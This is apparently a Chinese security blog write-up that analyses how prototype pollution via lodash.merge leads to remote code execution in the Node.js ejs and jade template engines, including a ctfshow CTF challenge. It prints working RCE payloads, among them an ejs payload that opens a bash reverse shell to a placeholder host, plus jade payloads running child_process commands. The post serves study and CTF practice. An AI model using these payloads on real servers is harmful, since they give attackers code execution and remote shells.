几个node模板引擎的原型链污染分析

  1. 1. 0x00 前言
  2. 2. 0x01 ejs
  3. 3. 0x02 jade
    1. 3.1. 1.先贴两个利用链
    2. 3.2. 2. 利用链分析
    3. 3.3. 3. Ctfshow题目分析
    4. 3.4. 4.填坑.
  4. 4. 0x03 总结.
  5. 5. 0x04 参考

0x00 前言

跟着网上文章分析复现一遍ejsRCE链,然后尝试自己探究一下jadeRCE链

RCE 的前提是要有原型链污染

lodash 原型链污染demo

1
2
3
4
5
6
7
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

0x01 ejs

环境和调试代码参考 https://xz.aliyun.com/t/7075#toc-5

逐步跟踪找到渲染模板的compile函数,参考Express+lodash+ejs: 从原型链污染到RCE

从index.js::res.render开始跟进

1613884853031

进入到app.render

1613884939865

然后进入到app.render里的tryrender函数

1613884975131

view.render.

1613885027494

然后看到在View.render开始渲染.从这个函数进入ejs模块

1613885129648

继续跟进到renderFile.里面有tryHandleCache函数

1613885150428

继续跟进到handleCache函数,

1613885224116

在这找到了渲染模板的compile函数

1613885294361

然后在这个函数里实例化了一个模板类,然后编译.

继续跟踪编译函数

1613885416704

可以发现几处关键代码,

正常情况下opts.outputFunctionName为undefined.可以通过原型链污染控制其值,然后拼接到prepended.

prepended在后面传递给了this.source.

1613886363413

this.source在后面作为构造函数参数传递给fn

1613886398105

fn最终通过fn.apply()被调用.

所以控制opts.outputFunctionName就可以注入任意代码.

payload:

1
2
3
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}

0x02 jade

1.先贴两个利用链

这个之前见到了两个利用链,但是做ctfshow题目的时候都不能利用.

先贴出利用链:

1
2
3
4
1.
{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require(\'child_process\').exec(\'calc\')//"}}
2.
{"__proto__":{"self":1,"line":"global.process.mainModule.require(\'child_process\').exec(\'calc\')"}}

2. 利用链分析

参考 https://xz.aliyun.com/t/7025

  • 环境搭建

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const express = require('express');
const path = require('path');
var lodash= require('lodash');
const app = express();
var router = express.Router();

app.set('views', path.join(__dirname));
app.engine('jade', require('jade').__express);
app.set("view engine", "jade");

app.use(express.json()).use(express.urlencoded({
extended: false
}));

var malicious_payload = '{"__proto__":{"self":"true","line":"1000000,jade_debug[0].filename));return global.process.mainModule.require(\'child_process\').exec(\'calc\')//"}}';
lodash.merge({}, JSON.parse(malicious_payload));

router.get('/', (req, res, next) => {
res.render('./index.jade', {
title: 'hello',
name: ''
});
});
app.use('/', router)

app.listen(3000, () => console.log('Example app listening on port http://127.0.0.1:3000 !'))

index.jade

1
2
h1= title
p hello #{name}

直接利用上面的payload会报错

1613890867473

先调试分析漏洞利用点

进入jade模块. res.render=>app.render=>tryRender=>view.render=>this.engine,和ejs差不多.

1613891162165

入口是renderFile函数.进入

1613891209987

注意rendfile函数返回值可执行.进入handleTemplateCache

1613891248155

进入compile函数.

1613891301546

这点和ejs不同,在compile之前会有parse解析.

然后可以看到结果返回到parsed,又传递给了fn.

先不管parse函数,继续向下看代码

1613891409260

可以看到parse后的返回值最终会被当作代码执行.

然后进入parse,审计是否返回值中有可控部分.

1613891512195

parse函数内部可以看到先parse再compile.parse结果最终会被拼接到外层parse函数返回值部分

1613891640298

然后进入compile函数进行审计

1613891684445

可以看到compile函数返回的是buf.

步入代码,this.visit

1613891751528

发现可控的node.line可以被push到buf中.条件是this.debug=True.

1613892764488

可以发现payload是成功拼接到buf里的,但是会报错

1613894266904

跟进报错信息可以发现在Object.exports.renderFile => handleTemplateCache=>Object.exports.compile=>parse=>addWith处.

1613894409463

令options.self为true可避免进入addWith函数.网上的一些文章payload分析也就到此,但是发现这个payload打不通且没有出现很明显的报错,这点留到后面分析.

很偶然的情况下我对模板做出了修改,改成如下的,然后发现就可以造成RCE了

1
2
h1 title: #{title}
p hello #{name}

1613892847603

初步猜测污染self太粗暴,会影响h1= title这种模板渲染方式(不确定猜测是否正确.)

3. Ctfshow题目分析

ctfshow有一道题目也是考察jade链的利用.

只贴模板信息(其余的都差不多)

layout.jade

1
2
3
4
5
6
doctype html
html
head
title= title
body
block content

index.jade

1
2
3
4
5
extends layout

block content
h1= title
p Welcome to #{title}

将上面分析得到的payload打入.报了如下错误.

1613973792970

跟着调用栈分析.最终可以找到在visitNode函数.会有node.type为undefined的情况,

1613974028363

正常情况下node.type值为tag/Block等等,然后调用相应函数.

1613973894835

解决方法就是把type也污染了.全部测试了一下,发现visitxxx函数及可用的如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
visitAttributes
visitEach
visitCode √
visitBlockComment√
visitComment√
visitText
visitFilter
visitTag
visitMixin
visitDoctype√
visitMixinBlock√
visitBlock
visitLiteral
visitWhen
visitCase
visitNode

payload举例

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('calc')"}}}

4.填坑.

最开始的模板.

1
2
h1= title
p hello #{name}

执行payload会报如下错误.

1613977699618

这个具体哪报错也没分析到,但是尝试污染title.

payload:

1
{"__proto__":{"title":"test","self":1,"line":"global.process.mainModule.require('child_process').exec('calc')"}}

发现就成功了.

1613977799878

0x03 总结.

原型链污染的精髓:undefined属性/值

下面梳理一下上面有关jade RCE链的payload

针对普通的模板:只需要污染self和line.

  • 包括下面这种
1
2
h1 #{title}
p Welcome to #{title}

有继承的模板: 需要污染type

顶格的h= title类型的: 污染block属性(title,name这些模板变量)

1
2
h1= title
p hello #{name}

0x04 参考

ejs:

jade: